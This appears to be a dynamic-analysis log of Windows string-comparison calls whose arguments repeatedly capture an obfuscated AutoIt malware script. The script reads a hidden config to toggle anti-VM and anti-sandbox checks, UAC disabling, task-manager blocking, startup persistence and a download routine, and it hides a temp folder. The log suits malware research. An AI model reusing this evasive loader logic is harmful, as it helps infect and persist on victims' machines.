IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not Fil", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="80A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not File", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileE", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileEx", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.199] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, 